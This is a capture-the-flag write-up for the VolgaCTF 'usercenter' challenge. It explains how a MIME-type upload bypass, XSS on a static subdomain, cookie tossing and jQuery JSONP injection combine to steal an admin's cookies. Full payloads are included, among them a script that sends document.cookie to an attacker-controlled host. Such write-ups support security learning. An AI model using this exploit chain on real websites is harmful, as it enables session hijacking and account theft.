usercenter
Steal admin's cookie!
- URL: https://volgactf-task.ru/
Recon
Web application where we can register an user and login.
There are 3 domains in use:
- https://volgactf-task.ru/ : the main website
- https://static.volgactf-task.ru/ : CDN
- https://api.volgactf-task.ru : The API for login, register, and avatar upload
Arbitrary file upload
We can upload whatever we want by changing the MIME type to */*
:
import requests
cookies = {
"PHPSESSID": '7i9mbrbhddlk8f02566i2q34qk'
}
data = {
"avatar": "PGh0bWw+PHNjcmlwdD5hbGVydCgiYW51cyIpOzwvc2NyaXB0PjwvaHRtbD4=",
"type": "*/*",
"bio": "empty"
}
resp = requests.post('https://api.volgactf-task.ru/user-update', json=data, cookies=cookies)
Which will upload the following HTML to https://static.volgactf-task.ru/$random_file_name
:
<html><script>alert("anus");</script></html>
However, this XSS is on the domain static.volgactf-task.ru
and we are interested in the cookie over at api.volgactf-task.ru
(or the main site, volgactf-task.ru
).
So, we have XSS, but on the wrong subdomain. We cannot steal the admin's cookies. We also can't make requests to api.volgactf-task.ru
from static.volgactf-task.ru
due to CORS:
# curl -is https://api.volgactf-task.ru/user | grep Access
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://volgactf-task.ru
Cookie shenanigans
We can change the API domain by abusing the replaceForbiden
function and FF's behaviour a bit, so by setting a cookie from the static
subdomain as such:
document.cookie = "api_server=example.com\uc040q; domain=.volgactf-task.ru";
Then triggering a request to the main site, we can get it to make its XHRs to our domain. This payload works:
<html>
<script>
document.cookie = "api_server=bla.test.nl\uc040q; domain=.volgactf-task.ru";
location.replace("https://volgactf-task.ru/profile.html");
</script>
</html>
This works because the bot doesn't seem to visit the root domain first, and we're its first point of entry, so it uses the existing cookie that's not host-only.
More shenanigans
The main site comes with main.js
in which some filtering on the api_server
cookie is performed, after which the value is used in a jQuery $.getJSON
.
return str.replace(/[ !"#$%&´()*+,\-\/:;<=>?@\[\\\]^_`{|}~]/g,'').replace(/[^\x00-\x7F]/g, '?');
$.getJSON(`//${api}.volgactf-task.ru/user`, function(data) {
if(!data.success) {
location.replace('/login.html');
} else {
profile(data.user, true);
}
}).fail(function (jqxhr, textStatus, error) {console.log(jqxhr, textStatus, error);});
To re-iterate, we can control api
, and perhaps we can play around with JSONP. From the jQuery documentation:
If the URL includes the string
callback=?
(or similar, as defined by the server-side API), the request is treated as JSONP instead. See the discussion of the jsonp data type in$.ajax()
for more details.
This gets us full XSS access to the main domain.
Solution
Payload served from a server we control (this will be fetched and executed by the bot):
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://api.volgactf-task.ru/user', true);
xhr.withCredentials = true;
xhr.onload = function () {
var request = new XMLHttpRequest();
request.open('GET', 'https://test.nl/?q=' + encodeURIComponent(document.cookie), true);
request.send()
};
xhr.send();
Payload to upload as an avatar and then report:
<html>
<script>
function start() {
document.cookie = "api_server=test.nl\uc040callback\uc040\uc040q; domain=.volgactf-task.ru";
location.replace('https://volgactf-task.ru/profile.html');
}
</script>
<body onload="start()";>
</body>
</html>
Results in a script load from https://test.nl/?callbackjQuery34108836778952174....
Admin will send his cookies to us.
Flag
VolgaCTF{0558a4ad10f09c6b40da51c8ad044e16}
Side-note: We did not solve this during the CTF. While we had full control over the main domain, we were under the impression that we had to steal the admin cookie (PHPSESSID) on the api domain. Mainly because the only cookie the users had were on the api domain. That we had to steal a (for us unknown) cookie on the main domain is something we missed, and in our opinion did not make much sense in the challenge.